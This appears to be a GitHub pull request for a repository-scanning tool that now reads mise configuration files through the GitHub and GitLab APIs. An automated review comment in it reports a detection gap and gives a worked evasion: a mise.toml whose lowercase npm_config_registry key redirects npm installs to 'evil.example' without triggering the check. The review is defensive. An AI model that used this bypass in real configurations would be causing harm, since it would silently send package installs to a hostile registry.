Repository navigation
Conversation
b63532b to
8d1dcbe
Compare
A remote run used to report mise-en-place not evaluated. It now lists the tree once (GitHub: REST git/trees/<commit>?recursive=1; GitLab: REST recursive tree, keyset pages) and reads the mise files in GraphQL batches of 50 (GitLab asks the sizes first). A file only the scan reaches (a task include, a symlink target) costs one more batch. The mise scan reads through an FS interface: DirFS for a checkout, internal/repofs for a remote tree, with the same in-repository symlink rules. Every scan test case runs on both and must give the same scan. An empty repository has no mise file. One too large to read remotely leaves mise-en-place not evaluated and the run degraded. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
A GitLab project with no CI file (or one whose CI could not be read) stops the run before the mise scan, and mise-en-place was then listed as passed without reading anything. The early returns now mark it not evaluated (lane_not_collected), as the end of a full run does. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
The contents API gives no content past 1 MiB, so a mise file between 1 and 2 MiB that GraphQL did not give exactly failed the whole remote run. The git blobs API serves it, and the bytes must hash to the oid. Also test the GitLab early returns on a network failure. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
8d1dcbe to
ebb6db6
Compare
There was a problem hiding this comment.
🔴 New control check
Medium: the sources check misses npm registry redirection set via the canonical lowercase npm_config_* install_env keys, letting a committed mise config point npm at an untrusted registry without triggering ISSUE-1016. (Medium)
isIndexEnvVar (packagemanager/mise/mise.go:886) feeds ISSUE-1016 in mise_sources.rego: an install_env key that names a package-index variable becomes a install_env.<KEY> source option whose value is matched against trustedOptions. The non-scoped keys are matched case-sensitively via slices.Contains(indexEnvVars, k) (line 887), where indexEnvVars only lists the uppercase NPM_CONFIG_REGISTRY (line 878). npm's canonical environment-config form is the lowercase prefix npm_config_ (e.g. npm_config_registry), which npm honors at install time.
Concrete evasion (with the sources check enabled, trustedOptions configured):
# mise.toml
[tools."npm:some-cli"]
version = "1"
install_env = { npm_config_registry = "https://evil.example/" }This redirects npm's registry for the install, exactly the threat ISSUE-1016 targets, but isIndexEnvVar("npm_config_registry") returns false (the string is not in indexEnvVars, and the scoped branch requires NPM_CONFIG_@...:REGISTRY), so no install_env.* option is emitted and no finding is produced. The uppercase spelling NPM_CONFIG_REGISTRY with the same value is flagged — a trivial lowercase change bypasses the control.
The author already handles the scoped case insensitively (strings.ToUpper(k) at line 890, comment: "any case, as npm reads it"), which shows npm env keys are known to be case-varying; the non-scoped NPM_CONFIG_* keys were left case-sensitive.
Suggested fix: match the npm non-scoped keys case-insensitively too, e.g. in isIndexEnvVar upper-case k and compare NPM_CONFIG_REGISTRY against strings.ToUpper(k) (and add a regression fixture with a lowercase npm_config_registry install_env). Go/pip/uv env vars are uppercase-only by convention, so only the npm keys need this.
Note this is a gap only when the opt-in sources check with trustedOptions is on; it does not affect the default configuration.
Control: .github/claude-prompts/new-control-check.md · resolve this conversation once addressed.
Part of #254. Stacked on #670.
mise-en-place read the local checkout only, so a remote run (
plumber analyze owner/repo, or GitLab with a checkout at another ref) reported it not evaluated. It now reads the mise files through the API: one tree listing, then the files in batches.How it reads a remote repository
git/trees/<commit>?recursive=1requestobject(expression:)a queryblobs(paths:), 50 a query, sizes asked firstblobsquery fails (GitLab < 13.11)The run's provider decides; the
miseblock has no provider key.packagemanager/misereads through anFSinterface:DirFSfor a checkout,internal/repofsfor a remote tree.repofsresolves symlinks inside the repository with the same rules as the checkout code. A file the scan reaches without having prefetched it (a task include, a symlink target) costs one more batch, up to 4 rounds.Every existing mise scan test case runs twice, on a checkout and through
repofs, and both scans must be equal.Why REST for the GitHub tree
GraphQL has no recursive tree. The first version nested
Tree.entriesthree levels a query: on jdx/mise (6,664 entries) that took 135 queries and about 234 s, with some timeouts. The REST tree took one request and 0.67 s.Measured
Time to read the mise files (the
mise files readlog line), three runs each:The GitLab copy is getplumber/examples/plumber-mise-example: the same files on both branches as the GitHub repository, plus a
.gitlab-ci.ymlthat runsmise install --lockedlike the GitHub workflow. On branchfeature/678-by-subject, the GitHub and GitLab remote reports list the same mise findings as a local run, line for line; only the header and the provider's skipped controls differ.Behaviour changes
collection_failed) and the run degraded. Every other control still reports.node_modules,vendor, hidden ones) is prefetched.lane_not_collected).🤖 Generated with Claude Code